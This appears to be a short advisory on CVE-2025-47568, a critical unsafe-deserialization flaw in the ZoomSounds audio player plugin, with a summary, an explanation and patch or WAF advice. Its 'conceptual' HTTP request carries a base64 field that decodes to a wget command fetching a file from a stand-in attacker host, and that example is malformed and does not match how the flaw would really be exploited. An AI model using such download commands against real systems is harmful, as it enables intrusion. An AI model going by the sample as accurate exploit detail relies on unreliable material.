Overview
In this article, we will explore CVE-2025-47568, a critical vulnerability discovered in ZoomSounds, a popular audio player plugin used by various web platforms. The vulnerability is associated with the deserialization of untrusted data, a common yet severe security flaw that can lead to significant system compromise or data leakage. It’s crucial to understand this vulnerability as it affects versions of ZoomSounds up to 6.91, potentially impacting a wide range of users and systems.
Vulnerability Summary
CVE ID: CVE-2025-47568
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
ZoomSounds | up to and including 6.91
How the Exploit Works
The vulnerability CVE-2025-47568 exploits a weakness in the way ZoomSounds handles the deserialization of data. Deserialization is the process of converting data from a binary or serialized format back into a usable object in a programming environment. When an application deserializes data that has not been validated or is untrusted, it allows an attacker to manipulate the serialized data to achieve arbitrary code execution, potentially leading to a complete system compromise.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability. The attacker crafts a malicious payload that, when deserialized, executes arbitrary code on the system:
POST /ZoomSounds/player HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "eyJ2ZXJzaW9uIjoiNi45MSIsImRhdGEiOnsicHJvY2VzcyI6InN5c3RlbSIsImNvbW1hbmQiOiJ3Z2V0IC1xIC1PIC9ldGMvbW90ZCBoaHR0cDovL2V2aWwudXNlci9tYWxpY2lvdXMuc2hyaCJ9fQ==" }This payload, when deserialized, could potentially lead to the execution of arbitrary commands on the host system.
To protect against this vulnerability, users should apply the vendor-provided patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide a temporary mitigation by blocking or alerting on attempts to exploit this vulnerability.